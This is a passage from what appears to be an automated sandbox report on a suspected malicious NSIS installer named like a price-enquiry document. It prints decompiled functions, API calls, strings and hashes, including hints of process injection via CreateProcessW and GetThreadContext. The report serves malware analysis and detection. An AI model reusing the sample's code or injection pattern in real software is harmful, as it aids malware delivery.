				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x40735c;
				_v36.Group = 0x40735c;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x40734c;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryA(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityA(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x00405351
0x00405355
0x00405358
0x0040535e
0x00405362
0x00405366
0x0040536e
0x00405375
0x0040537b
0x00405382
0x00405389
0x00405391
0x00405393
0x00000000
0x00405393
0x0040539d
0x004053a4
0x004053ba
0x00000000
0x00000000
0x00000000
0x004053bc
0x004053c0

APIs

CreateDirectoryA.KERNELBASE(?,?,00000000), ref: 00405389
GetLastError.KERNEL32 ref: 0040539D
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 004053B2
GetLastError.KERNEL32 ref: 004053BC

Strings

Ls@, xrefs: 0040537B
\s@, xrefs: 0040534C
C:\Users\user\Desktop, xrefs: 00405346

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop$Ls@$\s@
API String ID: 3449924974-1782582443
Opcode ID: 6211b517ce48024f91031cad3a720f7e2baa8210faa46a43940225e11b136f78
Instruction ID: c25a7037d2469be4335b8e9940eeaad57ca25a66f44a15dc7ff8fd6819e2376f
Opcode Fuzzy Hash: 6211b517ce48024f91031cad3a720f7e2baa8210faa46a43940225e11b136f78
Instruction Fuzzy Hash: 030108B1D14219EAEF119FA4CC047EFBFB8EB14354F004176D904B6280D7B8A604DFAA

Uniqueness

Uniqueness Score: -1.00%

Function 72E470D1, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 237processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 72E47215
GetThreadContext.KERNELBASE(?,00010007), ref: 72E47238

Strings

D, xrefs: 72E4719E

Memory Dump Source

Source File: 00000000.00000002.290525123.0000000072E46000.00000004.00020000.sdmp, Offset: 72E40000, based on PE: true

Associated: 00000000.00000002.290458874.0000000072E40000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290479341.0000000072E41000.00000020.00020000.sdmp Download File
Associated: 00000000.00000002.290518667.0000000072E45000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290531660.0000000072E48000.00000002.00020000.sdmp Download File

Similarity

API ID: ContextCreateProcessThread
String ID: D
API String ID: 2843130473-2746444292
Opcode ID: 43d974f2d6e05fa36265c4761bda87eac049a86c38178ebc99f1c7e1b34adc7b
Instruction ID: 920af40ca0f0c14124de919d7d133a644dc3fede053b99c25b816490237984a4
Opcode Fuzzy Hash: 43d974f2d6e05fa36265c4761bda87eac049a86c38178ebc99f1c7e1b34adc7b
Instruction Fuzzy Hash: 2FA1E7B0E40209EFDB41DFA8D980BADBBB5AF08309F109469F915EB254DB30AE51CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00405EBA, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405EBA(intOrPtr _a4) {
				char _v292;
				int _t10;
				struct HINSTANCE__* _t14;
				void* _t16;
				void* _t21;

				_t10 = GetSystemDirectoryA( &_v292, 0x104);
				if(_t10 > 0x104) {
					_t10 = 0;
				}
				if(_t10 == 0 ||  *((char*)(_t21 + _t10 - 0x121)) == 0x5c) {
					_t16 = 1;
				} else {
					_t16 = 0;
				}
				_t5 = _t16 + 0x409010; // 0x5c
				wsprintfA(_t21 + _t10 - 0x120, "%s%s.dll", _t5, _a4);
				_t14 = LoadLibraryExA( &_v292, 0, 8); // executed
				return _t14;
			}

0x00405ed1
0x00405eda
0x00405edc
0x00405edc
0x00405ee0
0x00405ef2
0x00405eec
0x00405eec
0x00405eec
0x00405ef6
0x00405f0a
0x00405f1e
0x00405f25

APIs

GetSystemDirectoryA.KERNEL32 ref: 00405ED1
wsprintfA.USER32 ref: 00405F0A
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00405F1E

Strings

%s%s.dll, xrefs: 00405F04
\, xrefs: 00405EE2
UXTHEME, xrefs: 00405EC3

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: 95ac327f182d4f2ec24d2199b65981d3e05ead90002209c0018270c035d5f6e2
Instruction ID: e0394f74180a6a16eba84a37178681bb1de021cb3750537530e5e19d16d25b78
Opcode Fuzzy Hash: 95ac327f182d4f2ec24d2199b65981d3e05ead90002209c0018270c035d5f6e2
Instruction Fuzzy Hash: AFF09C3094050967DB159B68DD0DFFB365CF708305F1405B7B586E11C2DA74E9158FD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040589E, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040589E(char _a4, intOrPtr _a6, CHAR* _a8) {
				signed int _t11;
				int _t14;
				signed int _t16;
				void* _t19;
				CHAR* _t20;

				_t20 = _a4;
				_t19 = 0x64;
				while(1) {
					_t19 = _t19 - 1;
					_a4 = 0x61736e;
					_t11 = GetTickCount();
					_t16 = 0x1a;
					_a6 = _a6 + _t11 % _t16;
					_t14 = GetTempFileNameA(_a8,  &_a4, 0, _t20); // executed
					if(_t14 != 0) {
						break;
					}
					if(_t19 != 0) {
						continue;
					}
					 *_t20 =  *_t20 & 0x00000000;
					return _t14;
				}
				return _t20;
			}

0x004058a2
0x004058a8
0x004058a9
0x004058a9
0x004058aa
0x004058b1
0x004058bb
0x004058c8
0x004058cb
0x004058d3
0x00000000
0x00000000
0x004058d7
0x00000000
0x00000000
0x004058d9
0x00000000
0x004058d9
0x00000000

APIs

GetTickCount.KERNEL32 ref: 004058B1
GetTempFileNameA.KERNELBASE(?,0061736E,00000000,?), ref: 004058CB

Strings

nsa, xrefs: 004058AA
"C:\Users\user\Desktop\Price enquiry for test machine.exe" , xrefs: 0040589E
C:\Users\user\AppData\Local\Temp\, xrefs: 004058A1, 004058A5

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\Price enquiry for test machine.exe" $C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-4169675149
Opcode ID: 0450f55a1c395314d18141c5bfd7e62b2554956accf044952057d9506f78994b
Instruction ID: e60e9e2f6482c2c4b9a71223117799e22c549444224f45eff9547ee1bfe60b0e
Opcode Fuzzy Hash: 0450f55a1c395314d18141c5bfd7e62b2554956accf044952057d9506f78994b
Instruction Fuzzy Hash: 46F0A7373482447AE7105E55DC04B9B7F9DDFD1750F10C027FE049A280D6B49954C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 72E46000, Relevance: 7.7, APIs: 5, Instructions: 208fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 72E469B3

Memory Dump Source

Source File: 00000000.00000002.290525123.0000000072E46000.00000004.00020000.sdmp, Offset: 72E40000, based on PE: true

Associated: 00000000.00000002.290458874.0000000072E40000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290479341.0000000072E41000.00000020.00020000.sdmp Download File
Associated: 00000000.00000002.290518667.0000000072E45000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290531660.0000000072E48000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4de01f4ce038465995829d84ba7fbcb75471acceb01783408571458380311451
Instruction ID: 950064be7c0d8d46ac5ff7a183fd106c9e759f2071d1aa109fb817084babd35a
Opcode Fuzzy Hash: 4de01f4ce038465995829d84ba7fbcb75471acceb01783408571458380311451
Instruction Fuzzy Hash: 40714F75E50348AADB50DFE4E955BEDBBB5AF48710F20941AF608EE2E0EB700E41DB05

Uniqueness

Uniqueness Score: -1.00%

Function 00401F84, Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401F84(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t18;
				struct HINSTANCE__* _t26;
				void* _t27;
				struct HINSTANCE__* _t30;
				CHAR* _t32;
				intOrPtr* _t33;
				void* _t34;

				_t27 = __ebx;
				asm("sbb eax, 0x423ff8");
				 *(_t34 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x423fc8 =  *0x423fc8 +  *(_t34 - 4);
					return 0;
				}
				_t32 = E00402A29(0xfffffff0);
				 *(_t34 + 8) = E00402A29(1);
				if( *((intOrPtr*)(_t34 - 0x18)) == __ebx) {
					L3:
					_t18 = LoadLibraryExA(_t32, _t27, 8); // executed
					_t30 = _t18;
					if(_t30 == _t27) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t33 = GetProcAddress(_t30,  *(_t34 + 8));
					if(_t33 == _t27) {
						E00404E84(0xfffffff7,  *(_t34 + 8));
					} else {
						 *(_t34 - 4) = _t27;
						if( *((intOrPtr*)(_t34 - 0x20)) == _t27) {
							 *_t33( *((intOrPtr*)(_t34 - 8)), 0x400, 0x425000, 0x40b010, 0x409000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t34 - 0x20)));
							if( *_t33() != 0) {
								 *(_t34 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t34 - 0x1c)) == _t27 && E0040358B(_t30) != 0) {
						FreeLibrary(_t30);
					}
					goto L16;
				}
				_t26 = GetModuleHandleA(_t32); // executed
				_t30 = _t26;
				if(_t30 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x00401f84
0x00401f84
0x00401f89
0x00401f90
0x0040204c
0x00402197
0x00402197
0x004028be
0x004028c1
0x004028cd
0x004028cd
0x00401f9f
0x00401fa9
0x00401fac
0x00401fbb
0x00401fbf
0x00401fc5
0x00401fc9
0x00402045
0x00000000
0x00402045
0x00401fcb
0x00401fd5
0x00401fd9
0x0040201d
0x00401fdb
0x00401fde
0x00401fe1
0x00402011
0x00401fe3
0x00401fe6
0x00401fef
0x00401ff1
0x00401ff1
0x00401fef
0x00401fe1
0x00402025
0x0040203a
0x0040203a
0x00000000
0x00402025
0x00401faf
0x00401fb5
0x00401fb9
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00401FAF

Part of subcall function 00404E84: lstrlenA.KERNEL32(0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000,?), ref: 00404EBD
Part of subcall function 00404E84: lstrlenA.KERNEL32(00402FBE,0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000), ref: 00404ECD
Part of subcall function 00404E84: lstrcatA.KERNEL32(0041FD10,00402FBE,00402FBE,0041FD10,00000000,0040F0E0,00000000), ref: 00404EE0
Part of subcall function 00404E84: SetWindowTextA.USER32(0041FD10,0041FD10), ref: 00404EF2
Part of subcall function 00404E84: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F18
Part of subcall function 00404E84: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F32
Part of subcall function 00404E84: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F40

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401FBF
GetProcAddress.KERNEL32(00000000,?), ref: 00401FCF
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040203A

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 50cd007fc7b77623f8c7ad5bc39ef5e257e3bb497f63aa12232a7c38023ecf07
Instruction ID: 27648393275eec621602a0353e8cc2bfbc6c1dadd98057bfccdba155e6fc7477
Opcode Fuzzy Hash: 50cd007fc7b77623f8c7ad5bc39ef5e257e3bb497f63aa12232a7c38023ecf07
Instruction Fuzzy Hash: 07215732D04215ABDF216FA48F4DAAE7970AF44354F60423FFA11B22E0CBBC4981D65E

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E004015B3(char __ebx) {
				void* _t13;
				int _t19;
				char _t21;
				void* _t22;
				char _t23;
				signed char _t24;
				char _t26;
				CHAR* _t28;
				char* _t32;
				void* _t33;

				_t26 = __ebx;
				_t28 = E00402A29(0xfffffff0);
				_t13 = E0040571F(_t28);
				_t30 = _t13;
				if(_t13 != __ebx) {
					do {
						_t32 = E004056B6(_t30, 0x5c);
						_t21 =  *_t32;
						 *_t32 = _t26;
						 *((char*)(_t33 + 0xb)) = _t21;
						if(_t21 != _t26) {
							L5:
							_t22 = E004053C3(_t28);
						} else {
							_t38 =  *((intOrPtr*)(_t33 - 0x20)) - _t26;
							if( *((intOrPtr*)(_t33 - 0x20)) == _t26 || E004053E0(_t38) == 0) {
								goto L5;
							} else {
								_t22 = E00405346(_t28); // executed
							}
						}
						if(_t22 != _t26) {
							if(_t22 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
							} else {
								_t24 = GetFileAttributesA(_t28); // executed
								if((_t24 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						_t23 =  *((intOrPtr*)(_t33 + 0xb));
						 *_t32 = _t23;
						_t30 = _t32 + 1;
					} while (_t23 != _t26);
				}
				if( *((intOrPtr*)(_t33 - 0x24)) == _t26) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E00405B98("C:\\Users\\hardz\\AppData\\Local\\Temp", _t28);
					_t19 = SetCurrentDirectoryA(_t28); // executed
					if(_t19 == 0) {
						 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
					}
				}
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t33 - 4));
				return 0;
			}

0x004015b3
0x004015ba
0x004015bd
0x004015c2
0x004015c6
0x004015c8
0x004015d0
0x004015d2
0x004015d4
0x004015d8
0x004015db
0x004015f3
0x004015f4
0x004015dd
0x004015dd
0x004015e0
0x00000000
0x004015eb
0x004015ec
0x004015ec
0x004015e0
0x004015fb
0x00401602
0x0040160f
0x0040160f
0x00401604
0x00401605
0x0040160d
0x00000000
0x00000000
0x0040160d
0x00401602
0x00401612
0x00401615
0x00401617
0x00401618
0x004015c8
0x0040161f
0x0040164a
0x00402197
0x00401621
0x00401623
0x0040162e
0x00401634
0x0040163c
0x00401642
0x00401642
0x0040163c
0x004028c1
0x004028cd

APIs

Part of subcall function 0040571F: CharNextA.USER32(004054D1,?,00421940,00000000,00405783,00421940,00421940,?,?,?,004054D1,?,C:\Users\user\AppData\Local\Temp\,?), ref: 0040572D
Part of subcall function 0040571F: CharNextA.USER32(00000000), ref: 00405732
Part of subcall function 0040571F: CharNextA.USER32(00000000), ref: 00405741

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 00401605

Part of subcall function 00405346: CreateDirectoryA.KERNELBASE(?,?,00000000), ref: 00405389

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp,00000000,00000000,000000F0), ref: 00401634

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401629

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 1892508949-501415292
Opcode ID: 2bf56f72201c9e699422734a4e548a5e4c3f3c6807ff828ac4a79b9dc522e826
Instruction ID: 7e794a0d764ef42534189bc4677109bd04a63590121f3ac1906b169044d7ab5d
Opcode Fuzzy Hash: 2bf56f72201c9e699422734a4e548a5e4c3f3c6807ff828ac4a79b9dc522e826
Instruction Fuzzy Hash: 67112B35504141ABEF317BA55D419BF26B0EE92314728063FF582722D2C63C0943A62F

Uniqueness

Uniqueness Score: -1.00%

Function 00406609, Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00406609() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M00406A77))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4)); // executed
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8)); // executed
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
